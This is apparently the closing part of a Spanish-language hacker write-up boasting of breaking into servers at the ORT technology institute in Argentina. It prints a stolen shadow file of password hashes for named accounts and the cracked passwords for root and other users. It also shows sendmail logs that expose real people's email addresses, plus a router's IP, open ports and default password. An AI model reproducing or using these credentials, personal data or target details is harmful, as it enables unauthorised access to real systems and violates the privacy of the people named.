cab03:$1$piFd12xV$5llzu81hmC/QgTerBA4Jp.:11213:0:99999:7:-1:-1:134537332
cab04:$1$0.Dwxkb0$v9BUViB1A4qcTxbMCi.K10:11213:0:99999:7:-1:-1:134537332
cab05:$1$CIaFTDY3$aEwK2eOAETvz0f4caf543/:11226:0:99999:7:-1:-1:134537700
cab06:$1$xLedc5eX$uRTlYbPruyj3I34gPLaBL1:11232:0:99999:7:-1:-1:134537700
cab07:$1$SjTsJHE7$xhXtIJrcy3icCafepIDND.:11213:0:99999:7:-1:-1:134537332
cab08:$1$W22JGBuk$KOa0fAmgKRFZgeJ6zJ/W//:11213:0:99999:7:-1:-1:134537332
cab09:$1$IoxB3Uvd$m.6rp9f95HR.sb3xj.iqw0:11213:0:99999:7:-1:-1:134537332
stv:$1$PhWyG6Xz$7eFezbrpnEPY1IgUr5wve1:11479:0:99999:7:-1:-1:134538460
caa32:!!:11220:0:99999:7:::
fabian:$1$bejoaSUu$.HfW34MV/xRK9VuYcxnUd/:11256:0:99999:7:-1:-1:134538436
fabiansu:$1$qANspyV0$WyHDwtNPEZI2zkov1MiK0.:11256:0:99999:7:-1:-1:134538436
caa:$1$GZIE.nSc$raINjrl6NhvVjTI9saAqK.:11262:0:99999:7:-1:-1:134537332
secund:$1$urTIpnhd$zYSlNq8mBGfKClrRul1Vo0:11268:0:99999:7:-1:-1:134538436
secundb:!!:11271:0:99999:7:::
fernando:$1$4BvUhfvV$EXf0p3ImfkV1GbTqURE5./:11276:-1:99999:-1:-1:-1:134538468
hugo:$1$DrL5bvk2$7krlnU0MMzLnjApvCVWfL1:11464:0:99999:7:-1:-1:134538412
julieta:$1$uGhaywMY$dRj0khbNWcAet9up0MEYi0:11480:-1:99999:-1:-1:-1:135535004
LA CONTRASEÑA DEL ROOT ERA: judith0
LA CONTRASEÑA DE FABIANG ERA: fabian
LA DE STV ERA: stephen1
PERDIENDO EL CONTROL
este linux lo mantuve hasta que actualizaron al redhat 7.1 seawolf pero después lo volví a owniar con el exploit del manxpl
por ultimo en server no había nada interesante . aquí encontré algunos logs de mails
48:12 mail sendmail[22591]: f7OH4Ux31127: to=<sermayo@alternativagratis.com.ar>, delay=1+14:43:42, xdelay=00:00:00, mailer=esmtp, pri=7729985, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.
Aug 26 04:49:12 mail sendmail[22591]: f7ME7KZ19544: to=<d_topo@holmail.com>, ctladdr=<dtopo@ort.edu.ar> (1033/231), delay=3+17:41:51, xdelay=00:01:00, mailer=esmtp, pri=8220330, relay=holmail.com. [216.102.246.27], dsn=4.0.0, stat=Deferred: Connection timed out with holmail.com.
Aug 26 04:49:12 mail sendmail[22591]: f7NFHOx07191: to=<sermayo@alternativagratis.com.ar>, delay=2+16:31:48, xdelay=00:00:00, mailer=esmtp, pri=10040958, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.
Aug 26 05:08:12 mail sendmail[22648]: f7Q88Bx22648: from=<Titulares@lanacionline.com.ar>, size=26450, class=0, nrcpts=1, msgid=<2550e01c12e07$c2768300$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]
Aug 26 05:08:12 mail sendmail[22651]: f7Q88Cx22651: from=<Titulares@lanacionline.com.ar>, size=4511, class=0, nrcpts=1, msgid=<2551401c12e07$c290c1c0$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]
Aug 26 05:08:12 mail sendmail[22649]: f7Q88Bx22648: to=<jfrydman@ort.edu.ar>, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=55681, dsn=2.0.0, stat=Sent
Aug 26 05:08:13 mail sendmail[22668]: f7Q88Cx22651: to=<lmelamed@ort.edu.ar>, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=33740, dsn=2.0.0, stat=Sent
Aug 26 05:08:13 mail sendmail[22669]: f7Q88Dx22669: from=<Titulares@lanacionline.com.ar>, size=4509, class=0, nrcpts=1, msgid=<2551501c12e07$c2a64590$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]
Aug 26 05:08:13 mail sendmail[22671]: f7Q88Dx22669: to=<ssava@ort.edu.ar>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=33740, dsn=2.0.0, stat=Sent
Aug 26 05:17:43 mail sendmail[22694]: f7Q8Hhx22694: from=<comentarios@banelco.com.ar>, size=3990, class=0, nrcpts=1, msgid=<200108260817.f7Q8Hhx22694@ort.edu.ar>, proto=SMTP, daemon=MTA, relay=[200.32.84.243]
Aug 26 05:17:43 mail sendmail[22695]: f7Q8Hhx22694: to=<owais@ort.edu.ar>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=33620, dsn=2.0.0, stat=Sent
Aug 26 05:20:33 mail sendmail[22706]: f7Q8KXx22706: from=<Titulares@lanacionline.com.ar>, size=3768, class=0, nrcpts=1, msgid=<152b101c12e09$7542cce0$07883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136010.metrored.net.ar [200.59.136.10]
Aug 26 05:20:34 mail sendmail[22707]: f7Q8KXx22706: to=<lmelamed@ort.edu.ar>, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=32978, dsn=2.0.0, stat=Sent
Aug 26 05:21:24 mail sendmail[22712]: f7Q8LOx22712: from=<Titulares@lanacionline.com.ar>, size=3305, class=0, nrcpts=1, msgid=<caa501c12e09$9ad861e0$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]
Aug 26 05:21:24 mail sendmail[22713]: f7Q8LOx22712: to=<lmelamed@ort.edu.ar>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=32508, dsn=2.0.0, stat=Sent
Aug 26 05:34:28 mail sendmail[22744]: f7Q8Y8x22744: from=<MoriaB@jazo.org.il>, size=188185, class=0, nrcpts=1, msgid=<5E8E4E6EB38AD511804000508BBD47312D114B@EOFFICE>, proto=ESMTP, daemon=MTA, relay=server.jazo.org.il [194.90.65.90]
Aug 26 05:34:28 mail sendmail[22745]: f7Q8Y8x22744: to=<adrian@ort.edu.ar>, delay=00:00:18, xdelay=00:00:00, mailer=local, pri=217454, dsn=2.0.0, stat=Sent
Aug 26 05:48:11 mail sendmail[22773]: f7NEX4x04403: to=<sermayo@alternativagratis.com.ar>, delay=2+18:15:02, xdelay=00:01:00, mailer=esmtp, pri=6170295, relay=mail.alternativagratis.com. [200.41.125.36], dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.
Aug 26 05:48:11 mail sendmail[22773]: f7NDRTx23084: to=<sermayo@alternativagratis.com.ar>, delay=2+19:20:41, xdelay=00:00:00, mailer=esmtp, pri=6258987, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.
Aug 26 05:48:11 mail sendmail[22773]: f7OH4Ux31127: to=<sermayo@alternativagratis.com.ar>, delay=1+15:43:41, xdelay=00:00:00, mailer=esmtp, pri=7819985, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.
Aug 26 05:49:12 mail sendmail[22773]: f7ME7KZ19544: to=<d_topo@holmail.com>, ctladdr=<dtopo@ort.edu.ar> (1033/231), delay=3+18:41:51, xdelay=00:01:01, mailer=esmtp, pri=8310330, relay=holmail.com. [216.102.246.27], dsn=4.0.0, stat=Deferred: Connection timed out with holmail.com.
Aug 26 05:49:12 mail sendmail[22773]: f7NFHOx07191: to=<sermayo@alternativagratis.com.ar>, delay=2+17:31:48, xdelay=00:00:00, mailer=esmtp, pri=10130958, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.
Aug 26 06:12:01 mail sendmail[22838]: f7Q9C0x22838: from=<pablo_bondi@hotmail.com>, size=725, class=0, nrcpts=1, msgid=<F1094CxpAOAkK5LqN33000124c3@hotmail.com>, proto=ESMTP, daemon=MTA, relay=f109.law7.hotmail.com [216.33.237.109]
Aug 26 06:12:01 mail sendmail[22841]: f7Q9C0x22838: to=flor, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=30159, dsn=2.0.0, stat=Sent
Aug 26 06:15:04 mail
Conclusión: Pense que había techito
Como ven quedo demostrado que el instituto de tecnología o.r.t es vulnerable.. También quería agregar que encontre un router cisco 200.41.61.233 con el puerto 23 y 79 abierto que tenia un fallo de buffer overflow. el pass era cisco
IP Address :
200.41.61.233
HostName : ort-yatay.impsat.net.ar
Operating System : Cisco 1601
Time to live (TTL) : 253 (255) - 2 hop(s) away
SNMP info (system)
sysDescr : Cisco Internetwork Operating System Software IOS (tm) 1600
Software (C1600-SY-L), Version 11.3(5), RELEASE SOFTWARE (fc1) Copyright (c)
1986-1998 by cisco Systems, Inc. Compiled Tue 11-Aug-98 02:24 by phanguye
sysUpTime : 46 days, 2 hours, 23 minutes, 12 seconds
sysName : ort-yatay.impsat.net.ar
Object ID : 1.3.6.1.4.1.9.1.113 (Cisco 1601)
Vendor : cisco
________________________________________________________________________________________________________________
Written by gordian_knot from aisle.